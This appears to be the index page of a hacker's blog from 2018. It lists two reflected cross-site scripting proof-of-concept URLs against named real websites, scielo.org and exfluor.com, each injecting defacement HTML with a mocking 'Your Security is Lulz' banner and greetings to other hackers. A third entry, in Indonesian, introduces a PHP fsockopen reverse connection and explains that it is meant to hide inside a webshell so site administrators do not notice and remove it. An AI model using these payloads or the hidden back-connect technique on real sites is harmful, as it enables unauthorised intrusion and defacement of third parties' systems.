scielo.org XSSED

scielo.org XSSED

  Friday, November 16, 2018    ./MyHeartIsyr

---

P.o.C:
http://www.scielo.org/php/index.php?lang=%3Cdiv%20style=%22width:%20100%;%20height:%20100%;%20background:%20black;%20color:%20lime;%22%3E%3Ch1%3E%3Ccenter%3EXSSED%20by%20./MyHeartIsyr%3Cbr%3EYour%20Security%20is%20Lulz%3Cbr%3E%3Cbr%3E%3Cfont%20color=%22red%22%3EGr33tz%20to:%3Cbr%3E%3Cbr%3EM2.M4GNuM%20|%20Snow%20White%20|%20FalahGo5%3C/font%3E%3C/center%3E%3C/h1%3E%3C/div%3E

Read More

XSS On Exfluor Research Corporation

XSS On Exfluor Research Corporation

  Friday, November 16, 2018    ./MyHeartIsyr

---

P.O.C:

http://www.exfluor.com/bycategory.php?cat=bromides%22%3E%3Ccenter%3E%3Ch1%3EXSSED%20by%20./MyHeartIsyr%3Cbr%3EYour%20Security%20is%20Lulz%3Cbr%3E%3Cbr%3E%3Cfont%20color=%22red%22%3EGr33tz%20to:%3Cbr%3EM2.M4GNuM%20|%20Snow%20White%20|%20FalahGo5%3C/font%3E%3Cbr%3E%3Cbr%3ESpecial%20to%20Snow%20White:%3Cbr%3E%3Cfont%20color=%22magenta%22%3EI%27m%20Sorry%20For%20My%20Stupidity%3C/font%3E%3C/h1%3E

Read More

An Introduction to Fscokopen Reverse Connection

An Introduction to Fscokopen Reverse Connection

  Friday, November 16, 2018    ./MyHeartIsyr

---

Keren gak judulnya :P Ok, akhirnya bisa update blog ini karena minggu kemaren hujan deres dan gak bisa koneksi internet ke laptop (maklum, anak warnet :D).

Hari ini saya akan membagikan cara melakukan reverse connection (atau back connect) dengan bantuan fungsi PHP yang udah lama ada di PHP versi 4 (kalo gak salah), yaitu fsockopen().

Kenapa sih pake fsockopen?? Kenapa gak pake script back connect yang biasa aja?? Karena eh karena, kalo pake script yang itu, ntar ketahuan kalo disisipin ke webshell kita. Dan bisa bisa dihapus ama admin tercintah (hehe :P)

Read More